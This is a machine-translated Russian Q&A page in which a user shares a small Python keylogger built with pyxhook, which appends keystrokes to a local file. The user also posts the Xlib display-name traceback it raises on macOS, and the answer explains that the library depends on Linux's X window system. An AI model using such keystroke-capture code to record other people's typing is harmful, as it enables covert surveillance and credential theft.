Python Key-logger (.error.DisplayNameError: неверное отображаемое имя "") - PullRequest
0 голосов
/ 04 августа 2020

Я следил за учебником по созданию python кейлоггера и в итоге столкнулся с этой проблемой. Я просматривал свои коды около 10 раз и сравнивал их с другими источниками, но все равно получаю ту же ошибку. Я встречал похожие жалобы при поиске решения и предполагаю, что это мог быть мой компьютер (Ma c OSX 10.12 sierra, MacBook Pro (13 дюймов, середина 2010 г.)). Я не компьютерный эксперт, поэтому я не совсем уверен. Если это моя системная архитектура, как мне ее обойти? если нет, то что мне не хватает в коде или где моя ошибка?

 import pyxhook

log_file =  "/Users/VemPC/Desktop/log_file.log"


def onPress(event):
    fob = open(log_file, 'a')
    fob.write(event.key)
    fob.write('\n')
    if event.key.ascii == 96 :
        fob.close()
        new_hook.cancel()


new_hook = pyxhook.HookManager()
new_hook.KeyDown = onPress
new_hook.HookKeyboard()
new_hook.start()





 Error:
Traceback (most recent call last):
  File "key_logger.py", line 15, in <module>
    new_hook = pyxhook.HookManager()
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/pyxhook/pyxhook.py", line 67, in __init__
    self.local_dpy = display.Display()
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/display.py", line 89, in __init__
    self.display = _BaseDisplay(display)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/display.py", line 71, in __init__
    protocol_display.Display.__init__(self, *args, **keys)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/protocol/display.py", line 85, in __init__
    name, protocol, host, displayno, screenno = connect.get_display(display)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display
    return mod.get_display(display)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 61, in get_display
    raise error.DisplayNameError(display)
Xlib.error.DisplayNameError: Bad display name ""

1 Ответ

0 голосов
/ 04 августа 2020

pyxhook, похоже, является linux специфической c библиотекой. В частности, это реализация PyHook для linux с использованием X, библиотеки оконной системы. MacOS обеспечивает некоторую поддержку для этого, но не всю, поскольку MacOS не построен на X. Похоже, вы не сможете использовать эту библиотеку в своей системе.

...